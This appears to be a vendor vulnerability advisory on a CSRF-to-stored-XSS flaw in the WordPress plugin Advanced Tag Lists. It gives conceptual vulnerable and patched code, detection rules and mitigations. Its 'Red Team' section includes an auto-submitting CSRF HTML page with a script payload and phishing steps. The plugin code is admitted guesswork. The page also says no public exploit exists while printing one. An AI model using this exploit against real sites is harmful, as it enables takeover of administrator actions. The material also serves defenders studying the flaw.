CVE-2025-32476
Executive Summary
CVE-2025-32476 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Advanced Tag Lists (advanced-tag-list) by Blueinstyle. The vulnerability allows an unauthenticated attacker to trick a logged-in administrator into performing unintended actions, leading to Stored Cross-Site Scripting (XSS). This means an attacker can inject malicious scripts into the plugin’s tag lists, which will execute in the browsers of other users visiting the affected site. The vulnerability affects all versions up to and including 1.2. No official patch is currently available, and no public exploit code has been released. The CVSS score is 7.1 (High), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify they are not using a compromised version from unofficial sources. No known supply chain attacks have been reported for this plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) - The victim must be logged in as an administrator and click a malicious link or visit a crafted page.
- Scope: Changed (S:C) - The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. While the EPSS score is low, the potential for Stored XSS makes this a serious threat for WordPress sites using the plugin. An attacker can steal session cookies, deface the site, or redirect users to malicious domains.
Deep Dive & Mechanics
The vulnerability lies in the Advanced Tag Lists plugin’s administrative interface. The plugin likely lacks a CSRF nonce (security token) on its tag list creation or editing forms. An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, submits a forged request to the WordPress admin area. This request can modify tag list settings or inject malicious JavaScript into the tag list content.
The injected JavaScript is stored in the WordPress database and executed whenever the tag list is rendered on the frontend. This is a classic CSRF-to-Stored-XSS chain.
Attack Flow:
- Attacker identifies a WordPress site using Advanced Tag Lists <= 1.2.
- Attacker crafts a malicious HTML page containing a form that submits a POST request to
wp-admin/admin-ajax.phpor a similar endpoint, with parameters to create or update a tag list containing XSS payload. - Attacker lures an authenticated administrator to visit the malicious page (e.g., via phishing email).
- The administrator’s browser sends the forged request, and the plugin processes it without verifying the origin.
- The malicious tag list is saved to the database.
- When any user visits a page displaying the tag list, the XSS payload executes.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely lacks a nonce check.
Vulnerable Code (Conceptual):
// In admin-ajax.php or similar
add_action('wp_ajax_save_tag_list', 'save_tag_list_handler');
function save_tag_list_handler() {
// No nonce check
$tag_list_content = $_POST['tag_list_content'];
update_option('advanced_tag_list_content', $tag_list_content);
echo 'Saved';
wp_die();
}
Patched Code (Conceptual):
add_action('wp_ajax_save_tag_list', 'save_tag_list_handler');
function save_tag_list_handler() {
// Add nonce check
if (!wp_verify_nonce($_POST['_wpnonce'], 'save_tag_list_nonce')) {
wp_die('Security check failed');
}
$tag_list_content = sanitize_text_field($_POST['tag_list_content']);
update_option('advanced_tag_list_content', $tag_list_content);
echo 'Saved';
wp_die();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with Advanced Tag Lists <= 1.2 installed and activated.
- An administrator account (target).
- A web server to host the malicious HTML page.
Exploitation Steps:
- Create a malicious HTML file (
csrf_exploit.html) with the following content:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="save_tag_list">
<input type="hidden" name="tag_list_content" value="<script>alert('XSS')</script>">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
- Host this file on your attacker-controlled server.
- Send a phishing email to the administrator with a link to
http://attacker.com/csrf_exploit.html. - Once the administrator visits the link, the form auto-submits, and the XSS payload is stored.
- Visit any page displaying the tag list to trigger the XSS.
Blue Team
Detection & Prevention:
- Monitor for unusual POST requests to
wp-admin/admin-ajax.phpwithaction=save_tag_listfrom unexpected referrers. - Implement Web Application Firewall (WAF) rules to block requests to
admin-ajax.phpwithout a valid nonce. - Educate administrators about phishing attacks targeting WordPress admin actions.
- Temporarily disable the plugin until a patch is available.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=save_tag_listand suspicioustag_list_contentparameters. - Referrer headers from external domains (e.g., attacker-controlled sites).
- POST requests to
- File IOCs:
- Modified
wp_optionstable entries containingadvanced_tag_list_contentwith JavaScript code.
- Modified
- Behavioral IOCs:
- Unexpected tag list content changes.
- Alerts or redirects on pages displaying tag lists.
Detection Engineering
YARA Rule
rule CVE_2025_32476_CSRF_XSS {
meta:
description = "Detects CSRF to Stored XSS in Advanced Tag Lists plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32476"
strings:
$ajax_action = "save_tag_list"
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
$ajax_action and $xss_payload
}
Sigma Rule
title: CVE-2025-32476 CSRF to Stored XSS in Advanced Tag Lists
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with action save_tag_list and XSS payload
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=save_tag_list'
cs-uri-query|contains: 'tag_list_content='
condition: selection
falsepositives:
- Legitimate plugin updates (if any)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32476 CSRF to Stored XSS in Advanced Tag Lists"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=save_tag_list"; http_client_body; pcre:"/tag_list_content=.*<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=save_tag_listfrom external referrers. - Review WordPress user roles and ensure only trusted administrators have access.
Long-term Fix:
- The vendor must release a patched version that includes CSRF nonce verification and input sanitization.
- Users should monitor the plugin’s page on WordPress.org for updates.
Workaround:
- Add a custom function to your theme’s
functions.phpto add a nonce check:
add_action('wp_ajax_save_tag_list', 'custom_save_tag_list_handler', 1);
function custom_save_tag_list_handler() {
if (!wp_verify_nonce($_POST['_wpnonce'], 'save_tag_list_nonce')) {
wp_die('CSRF detected');
}
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.